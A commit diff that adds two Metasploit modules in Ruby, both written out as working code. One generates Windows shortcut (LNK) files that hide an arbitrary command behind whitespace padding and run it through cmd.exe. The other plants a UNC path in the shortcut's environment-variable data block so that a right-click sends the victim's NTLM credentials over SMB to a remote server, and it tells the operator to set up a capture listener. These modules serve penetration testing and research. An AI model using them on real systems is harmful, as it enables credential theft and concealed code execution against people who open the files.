Adds fileformat NTLM leak/LNK padding modules

modules/auxiliary/fileformat/datablock_padding_lnk.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::FILEFORMAT
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Windows Shortcut (LNK) Padding',
+        'Description' => %q{
+          This module generates Windows LNK (shortcut) file that can execute
+          arbitrary commands. The LNK file uses environment variables and execute
+          its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace
+          character padding bytes and concatenates the actual payload.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [ 'Nafiez' ],
+        'References' => [
+          ['ZDI', 'ZDI-CAN-25373'],
+          ['URL', 'https://zeifan.my/Windows-LNK/'],
+          ['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'],
+          ['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html']
+        ],
+        'Platform' => 'win',
+        'Targets' => [ [ 'Windows', {} ] ],
+        'DefaultTarget' => 0,
+        'Notes' => {
+          'Stability' => [],
+          'Reliability' => [],
+          'SideEffects' => []
+        },
+        'DisclosureDate' => '2025-07-19'
+      )
+    )
+
+    register_options([
+      OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]),
+      OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
+      OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]),
+      OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]),
+      OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ])
+    ])
+  end
+
+  def run
+    filename = datastore['FILENAME']
+    command = datastore['COMMAND']
+    description = datastore['DESCRIPTION']
+    icon_path = datastore['ICON_PATH']
+
+    unless description && !description.empty?
+      require 'faker'
+      description = Faker::Lorem.sentence(word_count: 3)
+      description ||= 'Shortcut'
+    end
+
+    unless icon_path && !icon_path.empty?
+      require 'faker'
+      icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s")
+      icon_path ||= '%SystemRoot%\\System32\\shell32.dll'
+    end
+
+    buffer_size = datastore['BUFFER_SIZE']
+
+    print_status("Generating LNK file: #{filename}")
+
+    lnk_data = generate_lnk_file(command, description, icon_path, buffer_size)
+
+    file_create(lnk_data)
+
+    print_good("Successfully created #{filename}")
+    print_status("Command line buffer size: #{buffer_size} bytes")
+    print_status("Target command: #{command}")
+  end
+
+  private
+
+  def generate_lnk_file(command, description, icon_path, buffer_size)
+    data = ''.force_encoding('ASCII-8BIT')
+    data << create_shell_link_header
+    data << create_string_data(description)
+
+    cmd_buffer = create_command_buffer(command, buffer_size)
+
+    data << create_string_data(cmd_buffer)
+    data << create_string_data(icon_path)
+    data << create_environment_block
+
+    return data
+  end
+
+  def create_shell_link_header
+    header = ''.force_encoding('ASCII-8BIT')
+    header << [0x0000004C].pack('V')
+    header << [0x00021401].pack('V')
+    header << [0x0000].pack('v')
+    header << [0x0000].pack('v')
+    header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8')
+
+    link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000
+
+    header << [link_flags].pack('V')
+    header << [0x00000000].pack('V')
+    header << [0x00000000, 0x00000000].pack('VV')
+    header << [0x00000000, 0x00000000].pack('VV')
+    header << [0x00000000, 0x00000000].pack('VV')
+    header << [0].pack('V')
+    header << [0].pack('V')
+    header << [0x00000007].pack('V')
+    header << [0].pack('v')
+    header << [0].pack('v')
+    header << [0].pack('V')
+    header << [0].pack('V')
+
+    return header
+  end
+
+  def create_string_data(str)
+    data = ''.force_encoding('ASCII-8BIT')
+
+    data << [str.length].pack('v')
+
+    unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT')
+    data << unicode_str
+
+    return data
+  end
+
+  def create_command_buffer(command, buffer_size)
+    cmd_command = "/c #{command}"
+
+    cmd_len = cmd_command.length
+    fill_bytes = buffer_size - cmd_len
+
+    if fill_bytes > 0
+      buffer = ' ' * fill_bytes + cmd_command
+    else
+      buffer = cmd_command
+    end
+
+    buffer = buffer[0, buffer_size] if buffer.length > buffer_size
+    buffer << "\x00"
+
+    return buffer
+  end
+
+  def create_environment_block
+    data = ''.force_encoding('ASCII-8BIT')
+
+    block_size = 0x00000314
+    data << [block_size].pack('V')
+
+    signature = 0xA0000001
+    data << [signature].pack('V')
+
+    env_path = '%windir%\\system32\\cmd.exe'
+
+    ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT')
+    data << ansi_buffer
+
+    unicode_buffer = env_path.encode('UTF-16LE')
+    unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT')
+    data << unicode_buffer
+
+    data
+  end
+end

modules/auxiliary/fileformat/environment_variable_datablock_leak.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+    Rank = GoodRanking
+
+    include Msf::Exploit::FILEFORMAT
+
+    def initialize(info = {})
+      super(update_info(info,
+        'Name'           => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak',
+        'Description'    => %q{
+          This module creates a malicious Windows shortcut (LNK) file that
+          specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK) 
+          that can trigger an authentication attempt to a remote server. This can be used 
+          to harvest NTLM authentication credentials.
+
+          When a victim right-click the generated LNK file, it will attempt to connect to the
+          the specified UNC path, resulting in an SMB connection that can be captured
+          to harvest credentials.
+        },
+        'License'        => MSF_LICENSE,
+        'Author'         => [
+          'Nafiez', # Original POC & Module
+        ],
+        'References'     => [
+          ['URL', 'https://zeifan.my/Right-Click-LNK/']
+        ],
+        'Platform'       => 'win',
+        'Targets'        => [
+          ['Windows', {}]
+        ],
+        'DefaultTarget'  => 0,
+        'DisclosureDate' => '2025-05-06',
+        'Notes'          => {
+          'Stability'    => [CRASH_SAFE],
+          'SideEffects'  => [IOC_IN_LOGS],
+          'Reliability'  => [REPEATABLE_SESSION]
+        }
+      ))
+
+      register_options([
+        OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']),
+        OptString.new('UNC_PATH', [true, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', '\\\\192.168.1.1\\share']),
+        OptString.new('DESCRIPTION', [true, 'The shortcut description', 'Testing Purposes']),
+        OptString.new('ICON_PATH', [true, 'The icon path to use', 'e.g. abc.ico']),
+        OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]),
+      ])
+    end
+
+    def run
+      print_status("Creating '#{datastore['FILENAME']}' file...")
+
+      begin
+        lnk_data = create_lnk_file
+        file_create(lnk_data)
+        print_good("LNK file created: #{datastore['FILENAME']}")
+        print_status("Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication")
+      rescue => e
+        fail_with(Failure::BadConfig, "Error generating the LNK file: #{e.message}")
+      end
+    end
+
+    def create_lnk_file
+      begin
+        data = "".b
+
+        # LNK header - 76 bytes
+        header = "\x4C\x00\x00\x00".b
+
+        # LinkCLSID (00021401-0000-0000-C000-000000000046)
+        header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b
+
+        # Define LinkFlags
+        link_flags = 0x00000000
+        link_flags |= 0x00000004  # HAS_NAME
+        link_flags |= 0x00000020  # HAS_ARGUMENTS
+        link_flags |= 0x00000040  # HAS_ICON_LOCATION
+        link_flags |= 0x00000080  # IS_UNICODE
+        link_flags |= 0x00000200  # HAS_EXP_STRING
+
+        header += [link_flags].pack('V')
+
+        # FileAttributes (FILE_ATTRIBUTE_NORMAL)
+        header += "\x20\x00\x00\x00".b
+
+        # CreationTime, AccessTime, WriteTime (zeroed)
+        header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3
+
+        # FileSize
+        header += "\x00\x00\x00\x00".b
+
+        # IconIndex
+        header += "\x00\x00\x00\x00".b
+
+        # ShowCommand (SW_SHOWNORMAL)
+        header += "\x01\x00\x00\x00".b
+
+        # HotKey
+        header += "\x00\x00".b
+
+        # Reserved fields
+        header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b
+
+        # Add the header to our binary data
+        data += header
+
+        # NAME field (description in Unicode)
+        description = datastore['DESCRIPTION'].to_s
+        description_utf16 = description.encode('UTF-16LE').b
+        data += [description_utf16.bytesize / 2].pack('v')
+        data += description_utf16
+
+        # ARGUMENTS field (command line arguments in Unicode)
+        padding_size = datastore['PADDING_SIZE']
+        cmd_args = " " * padding_size
+        cmd_args_utf16 = cmd_args.encode('UTF-16LE').b 
+        data += [cmd_args_utf16.bytesize / 2].pack('v')
+        data += cmd_args_utf16
+
+        # ICON LOCATION field (icon path in Unicode)
+        icon_path = datastore['ICON_PATH'].to_s
+        icon_path_utf16 = icon_path.encode('UTF-16LE').b
+        data += [icon_path_utf16.bytesize / 2].pack('v')
+        data += icon_path_utf16
+
+        # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
+        env_block_size = 0x00000314  # Total size of this block
+        env_block_sig = 0xA0000001   # Environmental Variables block signature
+
+        data += [env_block_size].pack('V')
+        data += [env_block_sig].pack('V')
+
+        # Target field in ANSI (260 bytes)
+        unc_path = validate_unc_path(datastore['UNC_PATH'].to_s)
+
+        # Create fixed-size ANSI buffer with nulls
+        ansi_buffer = "\x00".b * 260
+
+        # Copy the UNC path bytes into the buffer
+        unc_path.bytes.each_with_index do |byte, i|
+          ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
+        end
+
+        data += ansi_buffer
+
+        # Target field in Unicode (520 bytes)
+        unc_path_utf16 = unc_path.encode('UTF-16LE').b
+
+        # Create fixed-size Unicode buffer with nulls
+        unicode_buffer = "\x00".b * 520
+
+        # Copy the UTF-16LE encoded UNC path bytes into the buffer
+        unc_path_utf16.bytes.each_with_index do |byte, i|
+          unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
+        end
+
+        data += unicode_buffer
+
+        data += "\x00\x00\x00\x00".b
+
+        return data
+      rescue => e
+        print_error("Error in create_lnk_file: #{e.message}")
+        print_error("#{e.backtrace.join("\n")}")
+        raise e
+      end
+    end
+
+    def validate_unc_path(path)
+      unless path.match(/^\\\\[^\\]+\\[^\\]*$/)
+        print_warning("UNC_PATH may not be correctly formatted. Expected format: \\\\server\\share")
+      end
+      path
+    end
+  end